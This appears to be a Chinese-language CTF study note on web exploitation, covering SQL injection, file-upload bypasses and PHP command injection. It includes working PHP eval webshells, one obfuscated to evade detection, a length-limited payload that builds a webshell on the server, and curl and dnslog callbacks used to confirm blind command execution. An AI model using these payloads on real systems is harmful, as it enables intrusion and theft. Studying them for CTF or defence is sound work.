题型分布
1、web应用安全(web漏洞利用及挖掘)
2、misc数据分析 图片视频隐写 压缩包分析 流量分析 流量协议理解 内存分析(镜像分析)
3、crypto密码学 (古典密码简单利用 线代密码学及数论)
4、re逆向 (exe apk 程序中是否存在加壳或混淆加密)
5、pwn二进制 (本科题 二进制文件分析运用)
一、cookie和session
会话(Session)跟踪是Web程序中常用的技术,用来跟踪用户的整个会话。常用的会话跟踪技术是Cookie与Session
Cookie通过在客户端记录信息确定用户身份
Session通过在服务器端记录信息确定用户身份
cookie就是这样的一种机制。它可以弥补HTTP协议无状态的不足。在Session出现之前基本上所有的网站都采用Cookie来跟踪会话。
Session 与 Cookie 的作用都是为了保持访问用户与后端服务器的交互状态。
cookie容易被劫持 只是确认会话状态的技术
二、渗透思路
信息收集--->渗透攻击--->获取权限--->维持后门--->清楚痕迹
1、先看页面功能点是什么(登录 查询 执行命令等等)
登录--->爆破 弱口令 注入
查询--->注入 过滤 xss 接口(xxe)
上传--->包含 传马
2、看语言架构
php:命令执行&php特性漏洞&一句话 看php版本 7以前看特性
Java:中间件漏洞 Tomcat spring 等等框架漏洞 模板注入
Python:目录遍历 固定文件多 SSTI模板注入
go 我不会
3、常用工具
bp、信息搜集之类的插件
扫描工具:nmap goby(系统漏洞) awvs xray(漏洞点 系统 网站) 御剑 dirb dirsearch(字典)
sql注入工具:sqlmap Python脚本 --->必须会
xss平台(vps):xssplatfrom 盗取他人cookie或回传 线上少见
webshell管理:冰蝎(asp)、蚁剑、哥斯拉(asp)、菜刀
文件包含工具:LFlsuite、字典 可以不用工具
编码解码工具:ctftools、在线工具
暴力破解工具:burp暴力破解模块,md5Crack,hydra(爆破ssh)
Burpsuite一定要熟练(CSRF等)
Firefox浏览器、实际环境才常用端口扫描、备份文件
三、常见套路
1、直接查看网页源码:考察基本的查看网页源代码、HTTP请求、修改页面元素等
2、查看http请求/响应:使用burp抓包查看http头部信息,修改或添加http请求头
3、不常见类型的请求发送:利用0PI0NS请求后去支持的请求方式(POST、GET、PUT、DELETE)
4、web源码泄漏
5、加密解密
6、PHP特性:PHP弱类型、PHP伪协议、数组返回NULL绕过
7、waf绕过:大小写混合,使用编码,使用注释,使用空字节
8、OWASP TOP 10 漏洞:常规漏洞叠加
四、常见信息泄露(详见文档)
注释信息泄露
phpinfo函数信息泄露
.hg .svn .git .cvs .swp .bak .back等泄露
.zip .rar .tar .tar.gz网站备份压缩文件泄露
GitHub源码泄漏
bp的intruder模块 密码爆破、Token爆破、验证码爆破
五、SQL注入
(详见https://www.zmxupforever.cn/?p=434)
现实中比较少 但是ctf中最常见 只要有数据库的连接就可能存在
1、判断注入类型
字符型还是数字型、单引号还是双引号、有没有括号
1 " or "1" = "1
2、判断是GET还是POST
看URL 抓包看 闭合看是--闭合还是#
3、判断列数&联合查询
order by 1,2,3
union select 1,2,version()
4、爆库-表-列-字段
遇到WAF,sqlmap就很难用了
示例:
先抓包 右键 select file 保存 然后到目录上
sqlmap -r 111.txt --batch
--batch 全部默认
六、文件上传
文件后缀:大小写、不同类型后缀(php3 phtml等)
文件头:伪造(GIF89a)、图片马
文件内容:针对一句话
①免杀
<?php eval($_POST[123]);?>
<?php
$a='a'.'s'.'s'.'e'.'r'.'t';
$a($_POST[123]);
?>
<script language="php">
$a='a'.'s'.'s'.'e'.'r'.'t';
$a($_POST[123]);
</script>
②fuzz结果绕过关键字检测
配置文件:.htaccess .user.ini
伪协议:上传压缩包 用伪协议读取
示例:小技巧
dirb url -X .php.bak -i 200
扫出来一个备份 写的上传的源码
date一个时间戳 没有就加 伪造时间戳
七、命令执行
执行系统命令的参数
system、exec(回显)、shell_exec(不回显)、passthru、popen、proc_popen等



命令字符拼接

有些需要代码审计 查看过滤规则
无回显
1、延迟
?cmd=sleep 3
通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行,延迟3秒
2、HTTP请求
(1)在公网服务器监听监听端口 需要有公网ip的vps
nc -lvp 4444
(2)向目标服务器发起http请求,执行curl命令
?cmd=curl ip:4444
如果向目标服务器发起http请求后,公网服务器监听端口得到一些信息,就证明测试点存在命令执行漏洞
3、DNS 请求
dnslog
?cmd=ping 9y8y3k.dnslog.cn
4、导出
ping 127.0.0.1 >1.txt
补充
1、使用>或>>
?cmd=cat flag.php >flag.txt
2、mv 或 cp
?cmd=mv flag.php flag.txt
?cmd=cp flag.php flag.txt
3、打包压缩
(1)tar打包或tar打包并压缩
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
(2)zip压缩
zip flag.zip flag.php
4、cut and sleep
sed指定读取文件的第几行
cat flag.php | sed-n '2p‘
提取每一行的第3个字节
cut -b 3 flag文件
最后
cat flag.php | sed -n '2p' | cut -b 1

php在url传输中会注释 要注意
5、限制长度
因为只能传入14个字符,但是没有限制命令执行的次数,所以我们的思想可以通过Linux下的>符号与>>符号写入一段一句话木马到指定文件。经测试上述这样的一句话木马(经过换行)是可以命令执行的,所以我们可以通过传参构造出这样的一句话木马,不断传入
payload:
echo \<?php>1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php
6、无字母 无参数 挺多的
无字母:取反 让系统回显
在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。

7、无参数RCE
只能用函数 但是不让用参数 如:只能用system 不能用ls


很多函数多重内嵌
最难:无字母+无参数+长度限制
难点--->熟悉相关函数和编码才能进行构造
八、ssti模板注入
待学
九、逻辑漏洞
待学
小结
我在经历和你相同的处境
Comments NOTHING